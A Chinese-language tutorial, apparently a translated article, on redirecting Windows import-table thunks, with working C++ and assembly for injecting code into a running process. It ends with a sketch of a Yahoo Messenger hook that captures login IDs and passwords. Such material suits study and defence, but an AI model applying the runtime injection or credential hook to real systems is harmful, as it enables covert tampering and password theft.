程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> VC >> 關於VC++ >> 導入表內注入代碼(二)

導入表內注入代碼(二)

編輯:關於VC++

你稱之為什麼?

這次我想用這個技術改變一個API的功能。我不能確定是否我們可以再稱之為API redirection。在這個例子中,我重定向CALC.EXE的ShellAbout()對話框到我的"Hello World!"消息框(在pemaker7.zip中)。你將看到用前述代碼並做很少的改動就可以多麼容易地實現它。

...
//================================================================
push edi
push esi
push ebx
mov ebx,[ebp-10h]
push ebx
push ebx
call _char_upper
mov esi,[ebp-10h]
mov edi,[ebp+010h]// [ebp+_p_szShell32]
_it_fixup_1_check_dll_redirected:
push edi
call __strlen
add esp, 4
mov ebx,eax
mov ecx,eax
push edi
push esi
repe cmps//byte ptr [edi], byte ptr [esi]
jz _it_fixup_1_check_func_name
jmp _it_fixup_1_no_check_func_name
_it_fixup_1_check_func_name:
mov edi,[ebp+014h]// [ebp+_p_szShellAbout]
push edi
call __strlen
add esp, 4
mov ecx,eax
mov esi,[ebp-18h]
mov edi,[ebp+014h]// [ebp+_p_szShellAbout]
repe cmps //byte ptr [edi], byte ptr [esi]
jz _it_fixup_1_do_normal_it_0
_it_fixup_1_no_check_func_name:
pop esi
pop edi
add edi,ebx
cmp byte ptr [edi],0
jnz _it_fixup_1_check_dll_redirected
mov ecx,[ebp-08h]
mov eax,[ebp-014h]
mov [ecx],eax
jmp _it_fixup_1_do_normal_it_1
_it_fixup_1_do_normal_it_0:
pop esi
pop edi
mov ecx,[ebp-08h]
mov edi,[ebp+18h]
mov [ecx],edi// move address of new function to the thunk
_it_fixup_1_do_normal_it_1:
pop ebx
pop esi
pop edi
//================================================================
...

我假定這個例程是連續地如下:

1.檢查DLL名稱是否是"Shell32.DLL"。

2.檢查Function名稱是否是"ShellAboutW"。

3.如果條件1和2均正確,重定向ShellAbout()的thunk到新的函數。

這個新的函數是一個簡單的消息框:

_ShellAbout_NewCode:
_local_0:
pushad// save the registers context in stack
call _local_1
_local_1:
pop ebp
sub ebp,offset _local_1 // get base ebp
push MB_OK | MB_ICONINFORMATION
lea eax,[ebp+_p_szCaption]
push eax
lea eax,[ebp+_p_szText]
push eax
push NULL
call _jmp_MessageBox
// MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
popad// restore the first registers context from stack
ret 10h

當你計劃用一個新的函數取代一個API時,你應該考慮一些要點:

不能用missing the stack point 破壞Stack memory。因此,需要用ADD ESP,xxx或RET xxx恢復最後的原始棧指向(original stack point)。

為了保持除EAX外線寄存器的大多數安全,要用PUSHAD和POPAD捕獲和恢復它們。

正如你看到的,我已經用了PUSHAD和POPAD來回收線程寄存器。對於此情況,ShellAbout(),它有4個DWORD成員因此棧指針在返回時被增加0x10。在重定向ShellAbout()後,你可以嘗試從Help(幫助)菜單點擊About Calculator(關於計算器),你將看到它對目標CALC.EXE做了什麼。

圖 9 – 重定向About Calculator(關於計算器)到一個消息對話框

EXE protectors用此方法操作目標;它們建立重定向到它們附加的存儲空間,下一節將討論。

4.防止反向(工程)

使用復雜的API重定向技術來重建一個導入表是極其困難的。有時像Import REConstructor一樣的工具,圖 10,將難於重建導入表,重定向特別專長於多態代碼(polymorphism code)image。在反向工程世界裡Import REConstructor是一個著名的工具;它會掛起目標進程以便於捕獲導入信息。如果你像一個明喻(simile)JMP一樣做一個重定向,肯定會用該工具讓它被重建,然而如果我們將Function名稱加密並用在內存中的多態代碼捆綁之,它(譯注:該工具)將對獲得正確的導入表產生困惑。我們通過這個技術發布我們的EXE protector,Native Security Engine [6]是一個依此方法的packer。它有一個x86代碼生成器附加一個metamorphism(變態或變體)引擎,兩者共同幫助建立一個復雜的重定向結構。

圖 10 - Import REConstructor, MackT/uCF2000

圖11展示了在EXE protectors中的導入保護的主要策略。其中一些對虛擬Win32庫(virtual Win32 libraries)用到重定向。舉個例子,它們有Kernel32、 User32、和 AdvApi32虛擬(virtual libraries)庫。它們使用它們自己的庫以防止被黑掉或安裝它們的虛擬機。

圖 11 - Import Table Protection

通過這種技術來切斷外界訪問是可以達到目標的。正如你所看到的,MoleBox行為相同,它過濾了FindFirstFile()和FindNextFile()以在打包文件內部合並TEXT文件和JPEG文件。當程序意圖從硬盤找到一個文件,它將被重定向到內存。

5.運行時導入表注入

現在我想要論述更為深入的主題。該主題對於希望理解在Windows System上的用戶級(ring-3) rootkits [7]操作的人們是會特別感興趣的。首先也是最終的問題,注入一個運行時進程的導入表是怎樣做到的,該節將回答這個問題。我們想要注入一個運行時進程並修改之。你是否記得:在我得以前的文章[2],我創建了一個Windows Spy來捕獲Windows Class的屬性並在運行時修改他們。這一次,我將走近改寫內存和從外界重定向導入表。

1. 通過使用WindowFromPoint()我們能獲得一個特定點的窗體句柄,GetWindowThreadProcessId()幫助我們知道該窗體句柄的進程ID和線程ID。

2. POINT point;
3. HWND hWindowUnderTheMouse = WindowFromPoint(point);
4. ...
5. DWORD dwProcessId;
6. DWORD dwThreadId;
7. dwThreadId=GetWindowThreadProcessId(hSeekedWindow, &dwProcessId);
8. 進程和線程的句柄由OpenProcess()和OpenThread()獲得。但是在Windows 98中沒有OpenThread()。不要擔心,用EliCZ’找到RT,一個在Windows 98中模擬OpenThread(), CreateRemoteThread(),VirtualAllocEX(), 和 VirtualFreeEx()的庫。

9. HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId );
10. HANDLE hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, dwThreadId);
11. 為了開始操作進程的內存,我們應該首先通過掛起主線程凍結進程。

12. SuspendThread(hThread);13. Thread Environment Block (TEB)位置可以通過我們沒有權限訪問的FS:[18]獲得!因此GetThreadContext() 和 GetThreadSelectorEntry()幫助我們來了解FS段的基值。

14. CONTEXT Context;
15. LDT_ENTRY SelEntry;
16.
17. Context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
18. GetThreadContext(hThread,&Context);
19.
20. // Calculate the base address of FS
21. GetThreadSelectorEntry(hThread, Context.SegFs, &SelEntry);
22. DWORD dwFSBase = ( SelEntry.HighWord.Bits.BaseHi << 24) |
23. (SelEntry.HighWord.Bits.BaseMid << 16) |
24. SelEntry.BaseLow;
25. Thread Environment Block (線程環境塊TEB)通過讀取目標進程的虛擬內存內部它的位置來獲得。該線程和進程環境塊,圖 12,在"Undocumented Windows 2000 secrets" [4]中有詳盡解釋,另外NTInternals team[5]展示了完整的TEB 和 PEB定義。正如我猜測的,Microsoft team(微軟開發團隊)忘記提供關於它們的信息或無意於讓它們公之於眾!正是這個原因讓我喜歡Linux team:)

26. PTEB pteb = new TEB;
27. PPEB ppeb = new PEB;
28. DWORD dwBytes;
29.
30. ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, pteb, sizeof(TEB), &dwBytes);
31. ReadProcessMemory( hProcess, (LPCVOID)pteb->Peb, ppeb, sizeof(PEB), &dwBytes);

圖 12 - The Thread Environment Blocks and the Process Environment Block

32. 從進程環境塊信息中可以發現當前進程的內存中的PE image的image base(基址)。

33. DWORD dwImageBase = (DWORD)ppeb->ImageBaseAddress;34. ReadProcessMemory()幫助我們來讀取PE文件的完整image。

35. PIMAGE_DOS_HEADER pimage_dos_header = new IMAGE_DOS_HEADER;
36. PIMAGE_NT_HEADERS pimage_nt_headers = new IMAGE_NT_HEADERS;
37.
38. ReadProcessMemory( hProcess,
39. (LPCVOID)dwImageBase,
40. pimage_dos_header,
41. sizeof(IMAGE_DOS_HEADER),
42. &dwBytes);
43. ReadProcessMemory( hProcess,
44. (LPCVOID)(dwImageBase+pimage_dos_header->e_lfanew),
45. pimage_nt_headers, sizeof(IMAGE_NT_HEADERS),
46. &dwBytes);
47.
48. PCHAR pMem = (PCHAR)GlobalAlloc(
49. GMEM_FIXED | GMEM_ZEROINIT,
50. pimage_nt_headers->OptionalHeader.SizeOfImage);
51.
52. ReadProcessMemory( hProcess,
53. (LPCVOID)(dwImageBase),
54. pMem,
55. pimage_nt_headers->OptionalHeader.SizeOfImage,
56. &dwBytes);

57. 我們查看DLL名稱和thunk值以找到我們的目標並重定向之。在這個例子中,DLL名稱為Shell32.dll以及thunk是ShellAbout()的虛地址。

58. HMODULE hModule = LoadLibrary("Shell32.dll");
59. DWORD dwShellAbout= (DWORD)GetProcAddress(hModule, "ShellAboutW");
60.
61. DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
62. hProcess,
63. NULL,
64. 0x01D000,
65. MEM_COMMIT,
66. PAGE_EXECUTE_READWRITE);
67.
68. RedirectAPI(pMem, dwShellAbout, dwRedirectMem);
69.
70. ...
71.
72. int RedirectAPI(PCHAR pMem, DWORD API_voffset, DWORD NEW_voffset)
73. {
74. PCHAR pThunk;
75. PCHAR pHintName;
76. DWORD dwAPIaddress;
77. PCHAR pDllName;
78. DWORD dwImportDirectory;
79.
80. DWORD dwAPI;
81.
82. PCHAR pImageBase = pMem;
83. //----------------------------------------
84. PIMAGE_IMPORT_DESCRIPTOR pimage_import_descriptor;
85. PIMAGE_THUNK_DATA pimage_thunk_data;
86. //----------------------------------------
87. PIMAGE_DOS_HEADER pimage_dos_header;
88. PIMAGE_NT_HEADERS pimage_nt_headers;
89. pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
90. pimage_nt_headers = (PIMAGE_NT_HEADERS)(pImageBase+pimage_dos_header->e_lfanew);
91. //----------------------------------------
92. dwImportDirectory=pimage_nt_headers->OptionalHeader
93. .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
94. if(dwImportDirectory==0)
95. {
96. return -1;
97. }
98. //----------------------------------------
99. pimage_import_descriptor=(PIMAGE_IMPORT_DESCRIPTOR)(pImageBase+dwImportDirectory);
100. //----------------------------------------
101. while(pimage_import_descriptor->Name!=0)
102. {
103. pThunk=pImageBase+pimage_import_descriptor->FirstThunk;
104. pHintName=pImageBase;
105. if(pimage_import_descriptor->OriginalFirstThunk!=0)
106. {
107. pHintName+=pimage_import_descriptor->OriginalFirstThunk;
108. }
109. else
110. {
111. pHintName+=pimage_import_descriptor->FirstThunk;
112. }
113. pDllName=pImageBase+pimage_import_descriptor->Name;
114.
115. StrUpper(pDllName);
116. if(strcmp(pDllName,"SHELL32.DLL")==0)
117. {
118. pimage_thunk_data=PIMAGE_THUNK_DATA(pHintName);
119. while(pimage_thunk_data->u1.AddressOfData!=0)
120. {
121. //----------------------------------------
122. memcpy(&dwAPI, pThunk, 4);
123. if(dwAPI==API_voffset)
124. {
125. memcpy(pThunk, &NEW_voffset, 4);
126. return 0;
127. }
128. //----------------------------------------
129. pThunk+=4;
130. pHintName+=4;
131. pimage_thunk_data++;
132. }
133. }
134. pimage_import_descriptor++;
135. }
136. //----------------------------------------
137. return -1;
138. }
139.

140.

為了重定向而用VirtualProtectEx()創建了一個額外存儲空間。我們將生成代碼並將其寫入新的備用空間(spare space)。

141. DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
142. hProcess,
143. NULL,
144. 0x01D000,
145. MEM_COMMIT,
146. PAGE_EXECUTE_READWRITE);
147.
148. ...
149.
150. PCHAR pLdr;
151. DWORD Ldr_rsize;
152. GetLdrCode(pLdr, Ldr_rsize);
153.
154. WriteProcessMemory( hProcess,
155. (LPVOID)(dwRedirectMem),
156. pLdr,
157. Ldr_rsize,
158. &dwBytes);
159. loader被寫在額外的存儲空間。它有顯示一個簡單消息框的代碼。

160. void GetLdrCode(PCHAR &pLdr, DWORD &rsize)
161. {
162. HMODULE hModule;
163. DWORD dwMessageBox;
164.
165. PCHAR ch_temp;
166. DWORD dwCodeSize;
167. ch_temp=(PCHAR)DWORD(ReturnToBytePtr(DynLoader, DYN_LOADER_START_MAGIC))+4;
168. dwCodeSize=DWORD(ReturnToBytePtr(DynLoader, DYN_LOADER_END_MAGIC))-DWORD(ch_temp);
169. rsize= dwCodeSize;
170. pLdr = (PCHAR)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, dwCodeSize);
171. memcpy(pLdr, ch_temp, dwCodeSize);
172.
173. ch_temp=(PCHAR)ReturnToBytePtr(pLdr, DYN_LOADER_START_DATA1);
174.
175. hModule = LoadLibrary("User32.dll");
176. dwMessageBox= (DWORD)GetProcAddress(hModule, "MessageBoxA");
177. memcpy(ch_temp+4, &dwMessageBox, 4);
178. }
179. ...
180. _ShellAbout_NewCode:
181. _local_0:
182. pushad // save the registers context in stack
183. call _local_1
184. _local_1:
185. pop ebp
186. sub ebp,offset _local_1// get base ebp
187. push MB_OK | MB_ICONINFORMATION
188. lea eax,[ebp+_p_szCaption]
189. push eax
190. lea eax,[ebp+_p_szText]
191. push eax
192. push NULL
193. mov eax, [ebp+_p_MessageBox]
194. call eax
195. // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
196. popad // restore the first registers context from stack
197. ret 10h
198. ...
199. 可執行的image在修改後被寫到內存上。不要忘了在寫之前對內存設置完全存取權限。

200. VirtualProtectEx( hProcess,
201. (LPVOID)(dwImageBase),
202. pimage_nt_headers->OptionalHeader.SizeOfImage,
203. PAGE_EXECUTE_READWRITE,
204. &OldProtect);
205.
206. WriteProcessMemory( hProcess,
207. (LPVOID)(dwImageBase),
208. pMem,
209. pimage_nt_headers->OptionalHeader.SizeOfImage,
210. &dwBytes); 

VirtualProtectEx()設置了頁有權訪問PAGE_EXECUTE_READWRITE保護類型。在WriteProcessMemory被使用時用PAGE_READWRITE訪問和在executable page的情況下PAGE_EXECUTE都是必需的。

211. 現在進程准備解凍且生命期將再次啟動,但是發生了那麼多事。試一下about菜單項你將看見:圖 13,這是注入生命期的第一個顯示。

212. ResumeThread(hThread);

圖 13 -運行時注入ShellAbout() Thunk

我正在考慮其他API thunks的注入,正如我們可以上載其他動態鏈接庫到目標進程裡並重定向victim thunk到之,這已在另一文章[3]完全解釋了。下一節論述一點關於該實現(重定向技術)帶來的災難之一。你可以自己想像一下其他可能的災難。

6. Troy horse(特洛伊木馬)

總是阻止你浏覽器上彈出(窗口)並關閉在你的Internet Explorer自動安裝的Active-X控件及插件。它將進入到你的計算機的一個OLE 組件或一個小的DLL插件中以及進入到一個進程的生命期中。有時,這個生命期在一個指定進程的導入表中,比如Yahoo Messenger or MSN Messenger。它可以鉤住所有Windows控件並過濾API,哦我的天!我e-mail的密碼到哪裡去了!這是用戶級rootkit [7]的一種可能。它可以植入到你的計算機並偷走你的重要消息。

your important information. The Antivirus only can scan the file image; they lost

Antivirus(殺毒軟件)只可以掃描到這個文件的image;它們完全失去了它們對運行時進程注入的的控制。因此在你遨游互聯網時;要小心並一直使用一個功能強大的防火牆。

Yahoo Messenger hooker是如何工作的?

我下面解析寫一個Yahoo Messenger hooker的實際步驟:

用類名稱通過FindWindow()獲得Yahoo Messenger的句柄。HWND hWnd = FindWindow("YahooBuddyMain", NULL);

像上一節一樣,實現一個注入到它的進程。

在GetDlgItemText()的import thunk上執行這個注入以過濾其成員。UINT GetDlgItemText( HWND hDlg,

int nIDDlgItem,

LPTSTR lpString,

int nMaxCount);

比較對話項ID (dialog item ID),用特定ID來探測哪一項當前正在使用。如果ID被找到,用普通的GetDlgItemText()鉤住字符串。CHAR pYahooID[127];

CHAR pPassword[127];

switch(nIDDlgItem)

{

case 211: // Yahoo ID

GetDlgItemText(hDlg, nIDDlgItem, pYahooID, 127); // for stealing

// ...

GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original

break;

case 212: // Password

GetDlgItemText(hDlg, nIDDlgItem, pPassword, 127); // for stealing

// ...

GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original

break;

default:

GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original

}

圖 14 - Hooking Yahoo Messenger

現在我相信沒有完全的安全了。某人只用很少的代碼就可以偷走我的Yahoo ID和其密碼。我們生活在一個不安全的世界!

7.結論

Import Table是一個Windows executable文件的特殊部分。導入表實現技術的知識幫助我們認識到API在運行時是如何被請求的。你可以重定向導入表到當前進程內存的其他executable內存來阻止用你自己的PE loader的反向工程行為以及也可以鉤住API函數。通過從外界凍結和解凍進程修改在運行時中的進程的導入表是可能的,這個災難迫使我們在安全裝置上更多地考慮,比如反病毒、防火牆、其它等等;然而它們並不能有助於防止每天世界上誕生的新的(攻擊)方法。此外,這個概念幫助我們建立我們的虛擬機監視器(virtual machine monitor)以在Windows 或 Linux系統內部的一個獨立環境內運行Windows executable 文件,此我不再需要Windows System來就可運行我的 Windows EXE文件。

  1. 上一頁:
  2. 下一頁:
欄目導航
Copyright © 程式師世界 All Rights Reserved